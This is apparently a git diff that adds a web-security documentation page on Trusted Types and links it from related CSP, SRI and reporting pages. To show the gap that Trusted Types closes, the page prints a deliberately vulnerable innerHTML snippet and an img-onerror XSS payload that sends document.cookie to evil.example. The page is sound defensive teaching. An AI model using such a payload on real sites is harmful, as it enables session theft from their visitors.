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diff --git a/src/content/changelog/2026-06-23-trusted-types.md b/src/content/changelog/2026-06-23-trusted-types.md
new file mode 100644
index 00000000..90d7b1c3
--- /dev/null
+++ b/src/content/changelog/2026-06-23-trusted-types.md
@@ -0,0 +1,8 @@
+---
+title: New page on Trusted Types
+date: "2026-06-23"
+type: added
+relatedSlugs: [trusted-types]
+---
+
+Added a page on [Trusted Types](/spec/security/trusted-types/) — the browser mechanism that makes DOM injection sinks like `innerHTML` reject plain strings and demand a vetted typed value, switched on with the `require-trusted-types-for` and `trusted-types` CSP directives. It reached Baseline in February 2026 and closes the DOM-based XSS gap that a [nonce-based CSP](/spec/security/content-security-policy/) leaves open.
diff --git a/src/content/spec/security/content-security-policy.md b/src/content/spec/security/content-security-policy.md
index cc321e0b..85973dd0 100644
--- a/src/content/spec/security/content-security-policy.md
+++ b/src/content/spec/security/content-security-policy.md
@@ -6,7 +6,7 @@ summary: "A CSP tells browsers which sources of script, style, image, and frame
 status: recommended
 order: 30
 appliesTo: [all]
-relatedSlugs: [https-tls, frame-ancestors, subresource-integrity, permissions-policy, mixed-content, cross-origin-isolation, reporting-endpoints]
+relatedSlugs: [https-tls, frame-ancestors, subresource-integrity, permissions-policy, mixed-content, cross-origin-isolation, reporting-endpoints, trusted-types]
 updated: "2026-06-08T20:15:00.000Z"
 sources:
   - title: "Content Security Policy Level 3"
diff --git a/src/content/spec/security/reporting-endpoints.md b/src/content/spec/security/reporting-endpoints.md
index 2baa05fa..8a8e6b7c 100644
--- a/src/content/spec/security/reporting-endpoints.md
+++ b/src/content/spec/security/reporting-endpoints.md
@@ -6,7 +6,7 @@ summary: "A response header that names HTTP endpoints to which the browser POSTs
 status: recommended
 order: 35
 appliesTo: [all]
-relatedSlugs: [content-security-policy, cross-origin-isolation, permissions-policy, monitoring-uptime]
+relatedSlugs: [content-security-policy, cross-origin-isolation, permissions-policy, monitoring-uptime, trusted-types]
 updated: "2026-06-16T00:00:00.000Z"
 sources:
   - title: "Reporting API"
diff --git a/src/content/spec/security/subresource-integrity.md b/src/content/spec/security/subresource-integrity.md
index 66db5598..dc52899e 100644
--- a/src/content/spec/security/subresource-integrity.md
+++ b/src/content/spec/security/subresource-integrity.md
@@ -6,7 +6,7 @@ summary: "SRI adds a cryptographic hash to every third-party script and styleshe
 status: recommended
 order: 90
 appliesTo: [all]
-relatedSlugs: [content-security-policy, https-tls, x-content-type-options]
+relatedSlugs: [content-security-policy, https-tls, x-content-type-options, trusted-types]
 updated: "2026-05-29T09:13:20.000Z"
 sources:
   - title: "Subresource Integrity (W3C Recommendation)"
diff --git a/src/content/spec/security/trusted-types.md b/src/content/spec/security/trusted-types.md
new file mode 100644
index 00000000..9ed4cfd3
--- /dev/null
+++ b/src/content/spec/security/trusted-types.md
@@ -0,0 +1,97 @@
+---
+title: "Trusted Types"
+slug: trusted-types
+category: security
+summary: "Trusted Types make the browser reject plain strings at DOM injection sinks like innerHTML, demanding a vetted typed value instead. Switched on with two CSP directives, it neutralises a whole class of DOM-based XSS."
+status: recommended
+order: 95
+appliesTo: [all]
+relatedSlugs: [content-security-policy, subresource-integrity, reporting-endpoints]
+updated: "2026-06-23T10:00:00.000Z"
+sources:
+  - title: "Trusted Types (W3C Working Draft)"
+    url: "https://www.w3.org/TR/trusted-types/"
+    publisher: "W3C"
+  - title: "MDN — Trusted Types API"
+    url: "https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API"
+    publisher: "MDN"
+  - title: "MDN — Content-Security-Policy: require-trusted-types-for"
+    url: "https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/require-trusted-types-for"
+    publisher: "MDN"
+  - title: "OWASP — DOM based XSS Prevention Cheat Sheet"
+    url: "https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html"
+    publisher: "OWASP"
+---
+
+## What it is
+
+Trusted Types is a browser mechanism that blocks DOM-based cross-site scripting at the point of injection. DOM XSS happens when an attacker-controlled string reaches a dangerous "sink" — `innerHTML`, `outerHTML`, `document.write()`, `eval()`, or a script element's `src`. Trusted Types makes the browser refuse a plain string at those sinks and demand a non-spoofable typed value (`TrustedHTML`, `TrustedScript`, or `TrustedScriptURL`) produced by a policy you define and control. You enable it with two Content Security Policy directives:
+
+```http
+Content-Security-Policy: require-trusted-types-for 'script'; trusted-types escape
+```
+
+It reached [Baseline](https://web.dev/baseline) in February 2026 — Chrome and Edge have shipped it since 2020, Safari since version 26, and Firefox completed the set.
+
+## Why it matters
+
+A nonce-based [CSP](/spec/security/content-security-policy/) stops an attacker injecting or running a new external script, but DOM XSS needs no new script element: it abuses code already on the page that writes untrusted input into a sink. Take a search widget that echoes the query from the URL:
+
+```js
+// Vulnerable: q comes straight from the address bar
+const q = new URLSearchParams(location.search).get("q");
+results.innerHTML = `<h2>Results for ${q}</h2>`;
+```
+
+A visitor sent to `?q=<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">` runs the attacker's script in your origin — the `onerror` handler fires the moment the broken image loads, and the session cookie leaves the building. No external script, no CSP `script-src` violation; a nonce never gets a look-in.
+
+Trusted Types closes that gap. With `require-trusted-types-for 'script'` enforced, that `innerHTML` assignment throws a `TypeError` before the string ever reaches the parser, because `q` is a plain string and not a `TrustedHTML` value. To make the page work again you must route the value through a policy that sanitises it:
+
+```js
+const policy = trustedTypes.createPolicy("escape", {
+  createHTML: (s) => DOMPurify.sanitize(s),
+});
+results.innerHTML = policy.createHTML(`<h2>Results for ${q}</h2>`);
+```
+
+The `<img onerror>` is now stripped before it lands. The win is structural: the question stops being "did every developer remember to sanitise every sink?" and becomes "does *any* sink receive an unsanitised string?" — and the browser answers that for you, everywhere, by throwing.
+
+This covers more than `innerHTML`. The three trusted types guard the three families of script-execution sink:
+
+- **`TrustedHTML`** — markup parsers: `innerHTML`, `outerHTML`, `document.write()`, `insertAdjacentHTML()`, `<iframe srcdoc>`.
+- **`TrustedScript`** — direct code execution: `eval()`, `new Function()`, inline event-handler properties, a `<script>` element's text.
+- **`TrustedScriptURL`** — loading code by URL: `<script src>`, `Worker()`, `import()`.
+
+Each turns "exploitable" into "throws before it executes".
+
+## How to implement
+
+1. **Deploy in report-only first** so you can find every sink your code touches without breaking the page:
+
+   ```http
+   Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; trusted-types escape; report-to csp-endpoint
+   ```
+
+2. **Create a policy that sanitises** rather than passing input through untouched. A vetted sanitiser such as DOMPurify is the usual choice:
+
+   ```js
+   trustedTypes.createPolicy("escape", {
+     createHTML: (input) => DOMPurify.sanitize(input),
+   });
+   ```
+
+3. **Name the policies you allow** in the `trusted-types` directive — here, `escape`. One name is special: a policy called `default` is applied automatically wherever a sink expects a trusted value, which lets you retrofit a large codebase without editing every call site.
+4. **Switch to enforcing** (`Content-Security-Policy`) once the report stream is clean.
+
+## Common mistakes
+
+- **A pass-through default policy** that returns its input unchanged — it satisfies the type check while re-opening the exact hole you closed.
+- **Omitting `trusted-types`.** Without the allowlist, code can create a policy of any name, including a malicious one; name your policies explicitly.
+- **Treating it as a CSP replacement.** It is a layer on top of a strict CSP and [Subresource Integrity](/spec/security/subresource-integrity/), not a substitute.
+- **Going straight to enforcing.** Untested, it breaks legitimate DOM code; always start report-only.
+
+## Verification
+
+- `curl -sI https://example.com | grep -i content-security-policy` should show `require-trusted-types-for 'script'`.
+- In DevTools, run `document.body.innerHTML = '<img src=x>'`; under enforcement it throws a `TypeError`.
+- Wire violations to a [reporting endpoint](/spec/security/reporting-endpoints/) and watch for `trusted-types-sink-violation` reports before and after you tighten.